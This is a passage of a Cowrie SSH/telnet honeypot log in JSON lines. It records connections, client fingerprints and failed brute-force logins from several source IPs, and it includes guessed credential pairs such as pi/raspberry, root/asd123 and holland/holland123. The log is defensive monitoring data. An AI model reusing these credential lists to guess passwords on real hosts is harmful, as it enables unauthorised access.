{"eventid":"cowrie.login.failed","username":"user","password":"123123","message":"login attempt [user/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:27:06.127371Z","src_ip":"31.40.204.166","session":"514f0e91aab6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:27:07.301784Z","src_ip":"31.40.204.166","session":"514f0e91aab6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.59186339378357,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:27:08.054477Z","src_ip":"152.42.224.71","session":"2ad6064444d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.301562309265137,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:27:09.348559Z","src_ip":"152.42.224.71","session":"38ba87d412f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":19.099595546722412,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:27:09.805469Z","src_ip":"152.42.224.71","session":"5150501fb698","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":34246,"dst_ip":"159.203.135.109","dst_port":22,"session":"9239fab2d07f","protocol":"ssh","message":"New connection: 31.40.204.166:34246 (159.203.135.109:22) [session: 9239fab2d07f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:27:16.617882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:27:16.627944Z","src_ip":"31.40.204.166","session":"9239fab2d07f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:27:16.806490Z","src_ip":"31.40.204.166","session":"9239fab2d07f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd123","message":"login attempt [root/asd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:27:17.318837Z","src_ip":"31.40.204.166","session":"9239fab2d07f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:27:18.589285Z","src_ip":"31.40.204.166","session":"9239fab2d07f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":81.97960758209229,"message":"Connection lost after 81 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:27:21.302897Z","src_ip":"152.42.224.71","session":"49630a7d182e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40234,"dst_ip":"10.17.0.5","dst_port":23,"session":"73acf297d9b6","protocol":"telnet","message":"New connection: 152.42.224.71:40234 (10.17.0.5:23) [session: 73acf297d9b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:27:22.411116Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":51816,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f48cdf007ab","protocol":"ssh","message":"New connection: 31.40.204.166:51816 (159.203.135.109:22) [session: 1f48cdf007ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:27:28.823066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:27:28.827639Z","src_ip":"31.40.204.166","session":"1f48cdf007ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:27:28.989373Z","src_ip":"31.40.204.166","session":"1f48cdf007ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"raspberry","message":"login attempt [pi/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:27:29.782239Z","src_ip":"31.40.204.166","session":"1f48cdf007ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:27:31.120613Z","src_ip":"31.40.204.166","session":"1f48cdf007ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.87458825111389,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:27:31.351145Z","src_ip":"152.42.224.71","session":"065d5be40378","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33742,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6101302bd35","protocol":"telnet","message":"New connection: 152.42.224.71:33742 (10.17.0.5:23) [session: c6101302bd35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:27:31.990226Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.197.2","src_port":55610,"dst_ip":"159.203.135.109","dst_port":22,"session":"205217f039ad","protocol":"ssh","message":"New connection: 64.62.197.2:55610 (159.203.135.109:22) [session: 205217f039ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:27:32.565637Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003m\u0018]\\x90N\u0014\ue39dW\\x8bJ\u0019I:\u0010\\xc4J<\\xa8\\x9f*\\xea4/\b\\x80\\xac.\\xc8;\u0005\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","message":"Remote SSH version: \u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003m\u0018]\\x90N\u0014\ue39dW\\x8bJ\u0019I:\u0010\\xc4J<\\xa8\\x9f*\\xea4/\b\\x80\\xac.\\xc8;\u0005\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:27:32.569924Z","src_ip":"64.62.197.2","session":"205217f039ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:27:32.573351Z","src_ip":"64.62.197.2","session":"205217f039ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33756,"dst_ip":"10.17.0.5","dst_port":23,"session":"59eec51d7b29","protocol":"telnet","message":"New connection: 152.42.224.71:33756 (10.17.0.5:23) [session: 59eec51d7b29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:27:34.599030Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33758,"dst_ip":"10.17.0.5","dst_port":23,"session":"d46335d48087","protocol":"telnet","message":"New connection: 152.42.224.71:33758 (10.17.0.5:23) [session: d46335d48087]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:27:35.730036Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40618,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3ec0f092ecf","protocol":"telnet","message":"New connection: 152.42.224.71:40618 (10.17.0.5:23) [session: b3ec0f092ecf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:27:36.760329Z"}
{"eventid":"cowrie.session.closed","duration":39.5978684425354,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:27:37.398572Z","src_ip":"152.42.224.71","session":"c48bbdfdc381","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40624,"dst_ip":"10.17.0.5","dst_port":23,"session":"76846a10cea1","protocol":"telnet","message":"New connection: 152.42.224.71:40624 (10.17.0.5:23) [session: 76846a10cea1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:27:37.458930Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":52808,"dst_ip":"159.203.135.109","dst_port":22,"session":"b63770c7c43f","protocol":"ssh","message":"New connection: 31.40.204.166:52808 (159.203.135.109:22) [session: b63770c7c43f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:27:40.582174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:27:40.809767Z","src_ip":"31.40.204.166","session":"b63770c7c43f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:27:40.813253Z","src_ip":"31.40.204.166","session":"b63770c7c43f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"phuvanduc","message":"login attempt [root/phuvanduc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:27:41.531609Z","src_ip":"31.40.204.166","session":"b63770c7c43f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:27:42.802716Z","src_ip":"31.40.204.166","session":"b63770c7c43f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":27855,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc028a758a65","protocol":"ssh","message":"New connection: 213.209.159.56:27855 (10.17.0.5:22) [session: bc028a758a65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:27:43.801768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:27:43.808293Z","src_ip":"213.209.159.56","session":"bc028a758a65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:27:43.889793Z","src_ip":"213.209.159.56","session":"bc028a758a65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"holland","password":"holland","message":"login attempt [holland/holland] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:27:44.292657Z","src_ip":"213.209.159.56","session":"bc028a758a65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"holland","password":"holland1","message":"login attempt [holland/holland1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:27:45.378654Z","src_ip":"213.209.159.56","session":"bc028a758a65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"holland","password":"holland123","message":"login attempt [holland/holland123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:27:46.463397Z","src_ip":"213.209.159.56","session":"bc028a758a65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"holland","password":"holland1234","message":"login attempt [holland/holland1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:27:47.547936Z","src_ip":"213.209.159.56","session":"bc028a758a65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"holland","password":"holland12345","message":"login attempt [holland/holland12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:27:48.633463Z","src_ip":"213.209.159.56","session":"bc028a758a65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:27:49.718929Z","src_ip":"213.209.159.56","session":"bc028a758a65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":100.47651720046997,"message":"Connection lost after 100 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:27:49.938164Z","src_ip":"152.42.224.71","session":"f1264eb4dab0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":49586,"dst_ip":"159.203.135.109","dst_port":22,"session":"545b30a85b67","protocol":"ssh","message":"New connection: 31.40.204.166:49586 (159.203.135.109:22) [session: 545b30a85b67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:27:53.884293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:27:53.894770Z","src_ip":"31.40.204.166","session":"545b30a85b67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:27:54.019693Z","src_ip":"31.40.204.166","session":"545b30a85b67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsxedc","message":"login attempt [root/qazwsxedc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:27:54.621410Z","src_ip":"31.40.204.166","session":"545b30a85b67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44994,"dst_ip":"10.17.0.5","dst_port":23,"session":"58e1052ffa16","protocol":"telnet","message":"New connection: 152.42.224.71:44994 (10.17.0.5:23) [session: 58e1052ffa16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:27:55.330279Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:27:55.809944Z","src_ip":"31.40.204.166","session":"545b30a85b67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":81.59180068969727,"message":"Connection lost after 81 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:27:56.626831Z","src_ip":"152.42.224.71","session":"b4489f36ee1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60524,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfaaa6883d01","protocol":"telnet","message":"New connection: 152.42.224.71:60524 (10.17.0.5:23) [session: bfaaa6883d01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:27:58.155261Z"}
{"eventid":"cowrie.session.closed","duration":26.290644645690918,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:28:02.020531Z","src_ip":"152.42.224.71","session":"d46335d48087","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.97465229034424,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:28:04.964763Z","src_ip":"152.42.224.71","session":"c6101302bd35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60526,"dst_ip":"10.17.0.5","dst_port":23,"session":"20ae1c4d0e06","protocol":"telnet","message":"New connection: 152.42.224.71:60526 (10.17.0.5:23) [session: 20ae1c4d0e06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:28:05.414664Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":57844,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3bbaa12b3c5","protocol":"ssh","message":"New connection: 31.40.204.166:57844 (159.203.135.109:22) [session: f3bbaa12b3c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:28:05.887919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:28:06.106110Z","src_ip":"31.40.204.166","session":"f3bbaa12b3c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-